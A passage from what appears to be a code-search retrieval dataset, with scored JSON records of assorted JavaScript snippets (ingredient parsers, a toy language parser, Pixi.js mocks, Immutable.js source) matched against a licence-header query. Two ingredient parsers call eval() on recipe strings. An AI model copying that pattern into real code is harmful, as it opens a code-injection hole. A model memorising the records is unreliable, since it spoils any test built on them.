ingredient.replace(/ *\\([^)]*\\) */g, ' ');\n\n // 3) Parse ingredients into count, unit and ingredient\n const arrIng = ingredient.split(' ');\n // find present units(i.e ounce, tablespoon etc) in units array and get index of that in arrIng array\n const unitIndex = arrIng.findIndex(el2 => units.includes(el2));\n // it will store occurence index of unit i.e 4 cups index is 1 for 4 1/2 cups index is 2\n \n let objIng;\n if (unitIndex > -1) {\n // There is a unit\n // Ex. 4 1/2 cups, arrCount is [4, 1/2] --> eval(\"4+1/2\") --> 4.5\n // Ex. 4 cups, arrCount is [4]\n const arrCount = arrIng.slice(0, unitIndex);\n \n let count;\n // this means there is only 1 number before the unit\n if (arrCount.length === 1) {\n // as some ingredients have 1 - 1/2 which should be 1 1/2\n count = eval(arrIng[0].replace('-', '+'));\n } else {\n // join 4 1/2 as \"4+1/2\" which will be evaluated as 4.5\n count = eval(arrIng.slice(0, unitIndex).join('+'));\n }\n\n objIng = {\n count,\n unit: arrIng[unitIndex],\n ingredient: arrIng.slice(unitIndex + 1).join(' ')\n };\n\n } else if (parseInt(arrIng[0], 10)) {\n // There is NO unit, but 1st element is number\n // , 10 is base \n objIng = {\n count: parseInt(arrIng[0], 10),\n unit: '',\n ingredient: arrIng.slice(1).join(' ') // start with 1st position and join elements till the end\n }\n } else if (unitIndex === -1) {\n // There is NO unit and NO number in 1st position\n objIng = {\n count: 1,\n unit: '',\n ingredient \n }\n //in above object when its just tomato then return 1 tomato\n }\n\n return objIng;\n });\n this.ingredients = newIngredients;\n }", "title": "" }, { "docid": "c7f168762d0546ef2900ca6e07fcb273", "score": "0.46785048", "text": "function _calculateRemainingWords(){\n var remainingWords = 0,\n hitFirst = false;\n\n data.textNodes.forEach((node) => {\n if(data.readLineYPos <= node.bottom){\n if(data.readLineYPos >= node.top && !hitFirst){\n //partal node, determine # of words read based on scroll %\n var percentReadOfNode = (((data.readLineYPos - node.top) * 100) / (node.bottom - node.top)) / 100;\n remainingWords += Math.round( node.words - (node.words * percentReadOfNode) );\n hitFirst = true;\n }else{\n remainingWords += node.words;\n }\n }\n });\n return remainingWords;\n }", "title": "" }, { "docid": "ac5c5a45af30e929e9bfa29c3ca5dc13", "score": "0.46738958", "text": "function nlu (words) {\n\t\tlet queue = [];\n\t\tlet index = 0, word, chunk;\n\t\t\n\t\tlet nextWord = function () {\n\t\t\tif (index < words.length) {\n\t\t\t\tword = words[index++];\n\t\t\t\treturn word;\n\t\t\t}\n\t\t\t\n\t\t\treturn word = null;\n\t\t};\n\t\t\n\t\tlet classifyWord = function (word) {\n\t\t\tlet lexicon = factGraph.chunks[word];\n\t\t\tif (lexicon)\n\t\t\t\treturn lexicon.properties.pos;\n\t\t\t\t\n\t\t\tsay(\"Sorry, I don't know the word \" + word);\n\t\t\tthrow new Error(\"unknown word\");\n\t\t}\n\t\t\n\t\tlet getAdjectives = function () {\n\t\t\twhile (word) {\n\t\t\t\tlet pos = classifyWord(word);\n\t\t\t\t\n\t\t\t\tif (pos !== \"adj\")\n\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\tlet props = chunk.properties.adj;\n\t\t\t\t\n\t\t\t\tif (props) {\n\t\t\t\t\tif (!Array.isArray(props))\n\t\t\t\t\t\tprops = [props];\n\t\t\t\t\t\t\n\t\t\t\t\tchunk.properties.adj = props.push(word);\n\t\t\t\t} else {\n\t\t\t\t\tchunk.properties.adj = word;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tnextWord();\n\t\t\t}\n\t\t};\n\t\t\n\t\tlet getNouns = function () {\n\t\t\twhile (word) {\n\t\t\t\tlet pos = classifyWord(word);\n\t\t\t\t\n\t\t\t\tif (pos !== \"noun\")\n\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\tlet props = chunk.properties.nouns;\n\t\t\t\t\n\t\t\t\tif (props) {\n\t\t\t\t\tif (!Array.isArray(props))\n\t\t\t\t\t\tprops = [props];\n\t\t\t\t\t\t\n\t\t\t\t\tchunk.properties.noun = props.push(word);\n\t\t\t\t} else {\n\t\t\t\t\tchunk.properties.noun = word;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tnextWord();\n\t\t\t}\n\t\t};\n\t\t\n\t\tlet reduce = function () {\n\t\t\twhile (queue.length >= 2) {\n\t\t\t\tlet top = queue.shift();\t// most recent chunk\n\t\t\t\tlet prev = queue[0];\t\t// the chunk before that\n\t\t\t\n\t\t\t\tif (prev.type === \"verb\") {\n\t\t\t\t\tif (top.type === \"np\") {\n\t\t\t\t\t\tprev.properties.subject = top.id;\n\t\t\t\t\t} else if (top.type === \"prep\") {\n\t\t\t\t\t\tlet np = top.properties.np;\n\t\t\t\t\t\tnp = factsModule.graph.chunks[np]\n\t\t\t\t\t\tprev.properties[top.properties.word] = np.id;\n\n\t\t\t\t\t\t// forget prep chunk as no longer referenced\n\t\t\t\t\t\tfactsModule.graph.remove(top);\n\t\t\t\t\t}\n\t\t\t\t} else if (prev.type === \"prep\") {\n\t\t\t\t\tif (top.type === \"np\") {\n\t\t\t\t\t\tprev.properties.np = top.id;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\t\n\t\tnextWord();\n\t\t\n\t\ttry {\n\t\t\twhile (word) {\n\t\t\t\tlet pos = classifyWord(word);\n\t\t\t\n\t\t\t\tif (pos === \"verb\" || pos === \"prep\") {\n\t\t\t\t\tchunk = new Chunk(pos);\n\t\t\t\t\tfactsModule.graph.add(chunk);\n\t\t\t\t\tchunk.properties.word = word;\n\t\t\t\t\tqueue.unshift(chunk);\n\t\t\t\t\tnextWord()\n\t\t\t\t\tcontinue; \n\t\t\t\t}\n\t\t\t\n\t\t\t\tif (pos === \"det\") {\n\t\t\t\t\tchunk = new Chunk(\"np\");\n\t\t\t\t\tfactsModule.graph.add(chunk);\n\t\t\t\t\tchunk.properties.det = word;\n\t\t\t\t\tqueue.unshift(chunk);\n\t\t\t\t\tnextWord();\n\t\t\t\t\tgetAdjectives();\n\t\t\t\t\tgetNouns();\n\t\t\t\t\treduce();\n\t\t\t\t\tcontinue; \n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\t\t} catch (e) {\n\t\t\tlog(\"exception: \" + e.name + ': ' + e.message);\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tlog(\"queue length is \" + queue.length);\n\t\t\n\t\tif (queue.length > 0)\n\t\t\tlog(\"parsed to \" + queue[0]);\n\t\t\t\n\t\t// interpret {utterance ?id}\n\t\tchunk = new Chunk(\"interpret\");\n\t\tchunk.properties.utterance = queue[0].id;\n\t\tfactsModule.graph.add(chunk);\n\t\tgoalModule.pushBuffer(chunk);\n\t\truleEngine.run();\n\t}", "title": "" }, { "docid": "66c55e43b272871895483537c3dfcd8a", "score": "0.46648285", "text": "parseIngredients(){\n\n const unitsLong = ['tablespoons','tablespoon','ounces','ounce','teaspoons','teaspoon','cups','pounds'];\n const unitShort = ['tbsp','tbsp','oz','oz','tsp','tsp','cup','pound'];\n const units = [...unitShort, 'kg', 'g'];\n\n //Uniform units\n const newIngredients = this.ingredients.map(el => {\n let ingrediente = el.toLowerCase();\n\n unitsLong.forEach((valor,index) => {\n ingrediente = ingrediente.replace(valor,unitShort[index]);\n });\n\n //Remove parenthesis\n ingrediente = ingrediente.replace(/ *\\([^)]*\\) */g,' ');\n\n //Parse ingredients into count, unit and ingredient\n const arrIng = ingrediente.split(' ');\n const unitIndex = arrIng.findIndex(el2 => units.includes(el2));\n\n let objIngrediente;\n \n if(unitIndex > -1){\n\n //Existe una unidad de medida en el array\n const arrCount = arrIng.slice(0,unitIndex); // Ex. 4 1/2 cups\n let count;\n\n if(arrCount.length === 1){\n count = eval(arrCount[0].replace('-','+'));\n }else{\n count = eval(arrCount.slice(0,unitIndex).join('+'));\n }\n\n objIngrediente = {\n count,\n unit: arrIng[unitIndex],\n ingrediente: arrIng.slice(unitIndex+1).join(\" \")\n }\n\n }else if(parseInt(arrIng[0],10)){\n //el primer dato del array es un numero\n objIngrediente = {\n count: parseInt(arrIng[0],10),\n unit: \"\",\n ingrediente : arrIng.slice(1).join(\" \")\n }\n\n }else if(unitIndex === -1){\n //No hay una unidad de medida en el array y no hay numero en el primer dato\n objIngrediente = {\n count: 1,\n unit: \"\",\n ingrediente //,metodo ES6 para decir ingrediente:ingrediente\n }\n }\n \n return objIngrediente;\n\n });\n \n this.ingredients = newIngredients;\n }", "title": "" }, { "docid": "fe6adb3a28d53ccba1030f176ebb1b83", "score": "0.46606153", "text": "function JSON_Cookie_Step_Recommendation_Summary(cookieData, completedSteps, currentStep){\n}", "title": "" }, { "docid": "5e19c8c44f4829fa489c8b6d9740ef99", "score": "0.46580863", "text": "function calculateWinners(snapshot, penguins) {\n let arr = snapshot\n .toLowerCase()\n .split(\"|\")\n .filter((val) => val.trim().length);\n arr = arr.map((val) =>\n val\n .replace(/-/g, 1)\n .replace(/~/g, 2)\n .slice(val.indexOf(\"p\") + 1)\n .split(\"\")\n .reduce((acc, cur) => +acc + +cur, 0)\n );\n const sortedArr = [...arr].sort((a, b) => a - b);\n return `GOLD: ${penguins[arr.indexOf(sortedArr[0])]}, SILVER: ${\n penguins[arr.indexOf(sortedArr[1])]\n }, BRONZE: ${penguins[arr.indexOf(sortedArr[2])]}`;\n}", "title": "" }, { "docid": "ed85e439f0864c78c0193bdad9d8d7a1", "score": "0.4655493", "text": "function parsePTHContents(fileContents) {\n\n var table = '<table class=\"pthtable\"><thead><tr><th>Route</th><th>To Point</th><th>Seg.<br>Miles</th><th>Cumul.<br>Miles</th></tr></thead><tbody>';\n var lines = fileContents.replace(/\\r\\n/g,\"\\n\").split('\\n');\n graphEdges = new Array();\n waypoints = new Array();\n var totalMiles = 0.0;\n var segmentMiles = 0.0;\n var previousWaypoint = null;\n for (var i = 0; i < lines.length; i++) {\n\tif (lines[i].length > 0) {\n\t // standardize first\n\t var line = standardizePTHLine(lines[i]);\n\t var info = PTHLineInfo(line, previousWaypoint);\n\t waypoints[waypoints.length] = info.waypoint;\n\t totalMiles += info.mileage;\n\t // this will display as a graph, so create and assign the\n\t // graph edges\n\t if (previousWaypoint != null) {\n\t\tvar newEdge = new GraphEdge(i-1, i, info.waypoint.elabel,\n\t\t\t\t\t null, info.via);\n\t\tpreviousWaypoint.edgeList[previousWaypoint.edgeList.length] = newEdge;\n\t\tinfo.waypoint.edgeList[0] = newEdge;\n\t }\n\t previousWaypoint = info.waypoint;\n\t table += '<tr><td>' + waypoints[waypoints.length-1].elabel +\n\t\t\"</td><td><a onclick=\\\"javascript:labelClickHDX(0);\\\">\" + waypoints[waypoints.length-1].label +\n\t\t'</a></td><td style=\"text-align:right\">' + info.mileage.toFixed(2) +\n\t\t'</td><td style=\"text-align:right\">' + totalMiles.toFixed(2) +\n\t\t'</td></tr>';\n\t}\n }\n table += '</tbody></table>';\n //genEdges = true;\n usingAdjacencyLists = true;\n hdxAV.setStatus(hdxStates.PTH_LOADED);\n return table;\n}", "title": "" }, { "docid": "a4f88070738b816205132af004299b5d", "score": "0.4651716", "text": "function findHowManyBalloons(qnty1,inputStr){\n // console.log(qnty1);\n var inputStr = inputStr.replace( /sets of /g, \"\" ); // removes all the sets of\n var inputStr = inputStr.replace( /and/,\"\");\n var inputStr = inputStr.replace(/\\.+$/,\"\"); // remove the trailing .\n console.log(inputStr);\n var BalloonList = inputStr.split(','); // split by comma\n console.log(BalloonList);\n console.log('______');\n\n for (var i = 0; i < BalloonList.length ; i++) { // removes the leading and trailing whitespaces\n BalloonList[i] = BalloonList[i].trim();\n }\n\n console.log(BalloonList);\n\n var splitElement = [];\n var balloonQntyAndColour = [];\n BalloonList.forEach(function(balloon) {\n splitElement = balloon.split(' ');\n console.log(splitElement);\n balloonQntyAndColour.push({\n quantity:Number(splitElement[0]) ,\n color :(splitElement[1]) }); // create an object with 2 keys - quantity and color\n // console.log(balloonQntyAndColour);\n });\n\n var balloonQuantity = [];\n // var howmany = 0;\n for (var i = 0 ; i < balloonQntyAndColour.length ; i++) { // displaying my map\n balloonQuantity[i] = qnty1 * balloonQntyAndColour[i].quantity;\n console.log(\"quantity:\" + balloonQuantity[i]) ;\n }\n return balloonQuantity;\n}", "title": "" }, { "docid": "95d513961b7c287dccdebdf6de9d2947", "score": "0.46503988", "text": "function lk_wordclass (line) {\n var result = '', i = 0;\n $( line ).find( \".w\" ).each( function(index,element) {\n\tif (o[ $(element).attr(\"data-id\") ]) {\n\t var posA = (o[$(element).attr(\"data-id\")].pos).split('|'), posSm = '';\n\t $.each(posA, function(index, value) {\n\t\tvar cl = '';\n\t\tif ( nupos[value].mwc == \"noun\" ) { cl = 'noun'; }\n\t\telse if ( nupos[value].mwc == \"pron\" ) { cl = 'pron'; }\n\t\telse if ( nupos[value].mwc == \"verb\" ) { cl = 'verb'; }\n\t\telse if ( nupos[value].mwc == \"adj\" ) { cl = 'adj'; }\n\t\telse if ( nupos[value].mwc == \"adv\" ) { cl = 'adv'; }\n\t\telse { cl = 'other'; }\n\t\tposSm += \"<span data-id='\"+$(element).attr(\"data-id\")+\"-wc' class='cl_\"+ cl +\"'>\" + nupos[value].mwc + \"</span>\"+\"|\";\n\t });\n\t posSm = posSm.substring(0, posSm.length-1);\n\t result += posSm + \" \";\n\t}\n });\n $.each( [vow,con], function(i,e) {\n\tvar result = 0;\n\t$.each(e, function (i2,e2) {\n\t var re = new RegExp(e2, 'g');\n\t result = ((line.html() || '').match(re) || []).length;\n\t for (x=0;x<result;x++) {\n\t\ttotala.push(e2);\n\t\tif ( $.inArray(e2, [].concat.apply([], vow)) != -1 ) {\n\t\t totalv.push(e2);\n\t\t} else {\n\t\t totalc.push(e2);\n\t\t}\n\t }\n\t});\n });\n return \"<td>\"+result+\"</td>\";\n}", "title": "" } ]
704e55eb1d3125d9ce70ac304efd0362
Copyright Joyent, Inc. and other Node contributors. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
[ { "docid": "c35a0cd81b647576789125afb9467762", "score": "0.0", "text": "function EventEmitter() {\n this._events = this._events || {};\n this._maxListeners = this._maxListeners || undefined;\n}", "title": "" } ]
[ { "docid": "1176968b948cbadc851a9e89fa026562", "score": "0.5524904", "text": "function setUpBuffers(){\n \"use strict\";\n}", "title": "" }, { "docid": "f477b9e23479ca227ac18961e44f75f6", "score": "0.5488023", "text": "function v8(v9) {\n function v10(v11,v12) {\n function v13(v14,v15) {\n const v16 = -65535;\n // v16 = .integer\n const v17 = 100;\n // v17 = .integer\n const v22 = {b:4677756};\n // v22 = .object(ofGroup: Object, withProperties: [\"__proto__\", \"b\"])\n const v23 = {b:v22};\n // v23 = .object(ofGroup: Object, withProperties: [\"__proto__\", \"b\"])\n const v24 = [13.37,13.37];\n // v24 = .object(ofGroup: Array, withProperties: [\"length\", \"__proto__\", \"constructor\"], withMethods: [\"concat\", \"fill\", \"indexOf\", \"entries\", \"forEach\", \"find\", \"reverse\", \"slice\", \"flat\", \"reduce\", \"join\", \"findIndex\", \"reduceRight\", \"some\", \"copyWithin\", \"toString\", \"pop\", \"filter\", \"map\", \"splice\", \"keys\", \"unshift\", \"sort\", \"includes\", \"flatMap\", \"shift\", \"values\", \"every\", \"toLocaleString\", \"push\", \"lastIndexOf\"])\n const v26 = [1337,1337,1337];\n // v26 = .object(ofGroup: Array, withProperties: [\"length\", \"__proto__\", \"constructor\"], withMethods: [\"concat\", \"fill\", \"indexOf\", \"entries\", \"forEach\", \"find\", \"reverse\", \"slice\", \"flat\", \"reduce\", \"join\", \"findIndex\", \"reduceRight\", \"some\", \"copyWithin\", \"toString\", \"pop\", \"filter\", \"map\", \"splice\", \"keys\", \"unshift\", \"sort\", \"includes\", \"flatMap\", \"shift\", \"values\", \"every\", \"toLocaleString\", \"push\", \"lastIndexOf\"])\n const v27 = [4294967297,v24,v26,Function,Function];\n // v27 = .object(ofGroup: Array, withProperties: [\"length\", \"__proto__\", \"constructor\"], withMethods: [\"concat\", \"fill\", \"indexOf\", \"entries\", \"forEach\", \"find\", \"reverse\", \"slice\", \"flat\", \"reduce\", \"join\", \"findIndex\", \"reduceRight\", \"some\", \"copyWithin\", \"toString\", \"pop\", \"filter\", \"map\", \"splice\", \"keys\", \"unshift\", \"sort\", \"includes\", \"flatMap\", \"shift\", \"values\", \"every\", \"toLocaleString\", \"push\", \"lastIndexOf\"])\n const v28 = {a:v27,c:Function,length:1337,toString:1337,valueOf:Function};\n // v28 = .object(ofGroup: Object, withProperties: [\"__proto__\", \"valueOf\", \"a\", \"c\", \"toString\", \"length\"])\n const v29 = {__proto__:v26,a:v28,b:v26,c:v23,constructor:4294967297,d:v28,valueOf:v24};\n // v29 = .object(ofGroup: Object, withProperties: [\"__proto__\", \"c\", \"valueOf\", \"b\", \"d\", \"constructor\", \"a\"])\n const v30 = 1;\n // v30 = .integer\n let v33 = 13.37;\n function v34(v35,v36) {\n function v37(v38,v39) {\n function v40(v41,v42) {\n const v44 = Symbol.toPrimitive;\n // v44 = .object(ofGroup: Symbol, withProperties: [\"__proto__\", \"description\"])\n v9[v44] = v10;\n const v45 = 100;\n // v45 = .integer\n const v46 = 1;\n // v46 = .integer\n }\n const v48 = 100;\n // v48 = .integer\n const v49 = 1;\n // v49 = .integer\n const v50 = v40(v40,\"4x1rRJyrZc\");\n // v50 = .unknown\n const v51 = 65537;\n // v51 = .integer\n const v52 = 1;\n // v52 = .integer\n }\n const v55 = Symbol(2152962827);\n // v55 = .object(ofGroup: Symbol, withProperties: [\"__proto__\", \"description\"])\n const v56 = v37(v37,v33);\n // v56 = .unknown\n }\n const v57 = v34(v34,Function);\n // v57 = .unknown\n const v58 = v7 & v10;\n // v58 = .integer | .bigint\n }\n const v60 = new Promise(v13);\n // v60 = .object(ofGroup: Promise, withProperties: [\"__proto__\"], withMethods: [\"finally\", \"then\", \"catch\"])\n return Promise;\n }\n const v62 = new Promise(v10);\n // v62 = .object(ofGroup: Promise, withProperties: [\"__proto__\"], withMethods: [\"finally\", \"then\", \"catch\"])\n}", "title": "" }, { "docid": "5d75661fe6bd6002c0ac9ff4d0edb473", "score": "0.5427868", "text": "function r(n){return!!n.constructor&&\"function\"==typeof n.constructor.isBuffer&&n.constructor.isBuffer(n)}", "title": "" }, { "docid": "7c1ec5fc33b5fdce080b0c629d49a263", "score": "0.5412323", "text": "function gl(){return gl=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},gl.apply(this,arguments)}", "title": "" }, { "docid": "ebad0346c9010e7f280a52067c979eb3", "score": "0.53920096", "text": "function Generator() {} // 80", "title": "" }, { "docid": "894b00e72dd3f0e730ffbaa6a0e0d20c", "score": "0.53799695", "text": "function Generator() {} // 3594", "title": "" }, { "docid": "7a2017da7e7bc473ac204ded3f4758d9", "score": "0.53314894", "text": "function Generator() {} // 82", "title": "" }, { "docid": "d4bf81a8e4b18758a4b9a7f45314ceb3", "score": "0.52954966", "text": "function i(n){return!!n.constructor&&typeof n.constructor.isBuffer=='function'&&n.constructor.isBuffer(n)}", "title": "" }, { "docid": "f861ae9795869b76d73bab3637b9ab89", "score": "0.528408", "text": "define() {}", "title": "" }, { "docid": "f861ae9795869b76d73bab3637b9ab89", "score": "0.528408", "text": "define() {}", "title": "" }, { "docid": "2356c5fbefcc120990b04086aef4057d", "score": "0.5277052", "text": "function v(t){\n/******/ // Check if module is in cache\n/******/if(n[t])\n/******/return n[t].exports;\n/******/\n/******/ // Create a new module (and put it into the cache)\n/******/var e=n[t]={\n/******/ // no module.id needed\n/******/ // no module.loaded needed\n/******/exports:{}\n/******/};\n/******/\n/******/ // Execute the module function\n/******/\n/******/\n/******/ // Return the exports of the module\n/******/return r[t].call(e.exports,e,e.exports,v),e.exports;\n/******/}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "7fe30a5afe4ca5ea847e1a9cedebea5a", "score": "0.52578247", "text": "function Spec() {}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.52546173", "text": "function r(){}", "title": "" }, { "docid": "c50f08eb30821ee87324ac13ff4c7989", "score": "0.5248106", "text": "function pixiJSMock () {\n class ContainerMock {\n addChild () {}\n removeChildren () {}\n getBounds () {}\n }\n class TextMock {\n constructor () {\n this.anchor = {\n set: () => {\n }\n }\n }\n }\n class TextStyleMock {}\n class GraphicsMock {\n lineStyle () {\n return this\n }\n\n beginFill () {\n return this\n }\n\n setStrokeStyle () {\n return this\n }\n\n drawRect () {\n return this\n }\n\n append () {}\n }\n class EventEmitterMock {\n emit () {}\n }\n class SpriteMock {}\n class fromImageMock {}\n class PixiJSMock {}\n PixiJSMock.Container = ContainerMock\n PixiJSMock.Text = TextMock\n PixiJSMock.TextStyle = TextStyleMock\n PixiJSMock.Graphics = GraphicsMock\n PixiJSMock.Sprite = SpriteMock\n PixiJSMock.Graphics = GraphicsMock\n PixiJSMock.Texture = {\n fromImage: fromImageMock\n }\n PixiJSMock.utils = {\n EventEmitter: EventEmitterMock\n }\n return PixiJSMock\n}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "e6b6c01b84b0263bdb9be83233cf1d55", "score": "0.52386945", "text": "function r(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}", "title": "" }, { "docid": "28c9041e7b0f4fac74664ffcf947a42c", "score": "0.5237713", "text": "function Util () {}", "title": "" }, { "docid": "0a3946053c61ac379fc1dc66adb075c3", "score": "0.5236023", "text": "function Util() {}", "title": "" }, { "docid": "9e0d9cce53db5ce644ec490d59fbe010", "score": "0.5178657", "text": "function r$1y(r,o,e){let i,n;return void 0===o?(n=r,i=[void 0]):\"string\"!=typeof o?(n=r,i=[void 0],e=o):(n=o,i=Array.isArray(r)?r:[r]),(r,o)=>{const p=r.constructor.prototype;for(const c of i){const i=y$1F(r,c,n);i.write&&\"object\"==typeof i.write||(i.write={}),e&&(i.write.target=e),i.write.writer=p[o];}}}", "title": "" }, { "docid": "f589869fa07fd3ee8a01d9642a8cfb13", "score": "0.51567596", "text": "function RambleUtil() {\n\n}", "title": "" }, { "docid": "f57f1ae54fb376ba8da8bfc505f0b099", "score": "0.5151423", "text": "function universalModule() {\n\t\t var $Object = Object;\n\n\t\tfunction createClass(ctor, methods, staticMethods, superClass) {\n\t\t var proto;\n\t\t if (superClass) {\n\t\t var superProto = superClass.prototype;\n\t\t proto = $Object.create(superProto);\n\t\t } else {\n\t\t proto = ctor.prototype;\n\t\t }\n\t\t $Object.keys(methods).forEach(function (key) {\n\t\t proto[key] = methods[key];\n\t\t });\n\t\t $Object.keys(staticMethods).forEach(function (key) {\n\t\t ctor[key] = staticMethods[key];\n\t\t });\n\t\t proto.constructor = ctor;\n\t\t ctor.prototype = proto;\n\t\t return ctor;\n\t\t}\n\n\t\tfunction superCall(self, proto, name, args) {\n\t\t return $Object.getPrototypeOf(proto)[name].apply(self, args);\n\t\t}\n\n\t\tfunction defaultSuperCall(self, proto, args) {\n\t\t superCall(self, proto, 'constructor', args);\n\t\t}\n\n\t\tvar $traceurRuntime = {};\n\t\t$traceurRuntime.createClass = createClass;\n\t\t$traceurRuntime.superCall = superCall;\n\t\t$traceurRuntime.defaultSuperCall = defaultSuperCall;\n\t\t\"use strict\";\n\t\tfunction is(valueA, valueB) {\n\t\t if (valueA === valueB || (valueA !== valueA && valueB !== valueB)) {\n\t\t return true;\n\t\t }\n\t\t if (!valueA || !valueB) {\n\t\t return false;\n\t\t }\n\t\t if (typeof valueA.valueOf === 'function' && typeof valueB.valueOf === 'function') {\n\t\t valueA = valueA.valueOf();\n\t\t valueB = valueB.valueOf();\n\t\t }\n\t\t return typeof valueA.equals === 'function' && typeof valueB.equals === 'function' ? valueA.equals(valueB) : valueA === valueB || (valueA !== valueA && valueB !== valueB);\n\t\t}\n\t\tfunction invariant(condition, error) {\n\t\t if (!condition)\n\t\t throw new Error(error);\n\t\t}\n\t\tvar DELETE = 'delete';\n\t\tvar SHIFT = 5;\n\t\tvar SIZE = 1 << SHIFT;\n\t\tvar MASK = SIZE - 1;\n\t\tvar NOT_SET = {};\n\t\tvar CHANGE_LENGTH = {value: false};\n\t\tvar DID_ALTER = {value: false};\n\t\tfunction MakeRef(ref) {\n\t\t ref.value = false;\n\t\t return ref;\n\t\t}\n\t\tfunction SetRef(ref) {\n\t\t ref && (ref.value = true);\n\t\t}\n\t\tfunction OwnerID() {}\n\t\tfunction arrCopy(arr, offset) {\n\t\t offset = offset || 0;\n\t\t var len = Math.max(0, arr.length - offset);\n\t\t var newArr = new Array(len);\n\t\t for (var ii = 0; ii < len; ii++) {\n\t\t newArr[ii] = arr[ii + offset];\n\t\t }\n\t\t return newArr;\n\t\t}\n\t\tfunction assertNotInfinite(size) {\n\t\t invariant(size !== Infinity, 'Cannot perform this action with an infinite size.');\n\t\t}\n\t\tfunction ensureSize(iter) {\n\t\t if (iter.size === undefined) {\n\t\t iter.size = iter.__iterate(returnTrue);\n\t\t }\n\t\t return iter.size;\n\t\t}\n\t\tfunction wrapIndex(iter, index) {\n\t\t return index >= 0 ? (+index) : ensureSize(iter) + (+index);\n\t\t}\n\t\tfunction returnTrue() {\n\t\t return true;\n\t\t}\n\t\tfunction wholeSlice(begin, end, size) {\n\t\t return (begin === 0 || (size !== undefined && begin <= -size)) && (end === undefined || (size !== undefined && end >= size));\n\t\t}\n\t\tfunction 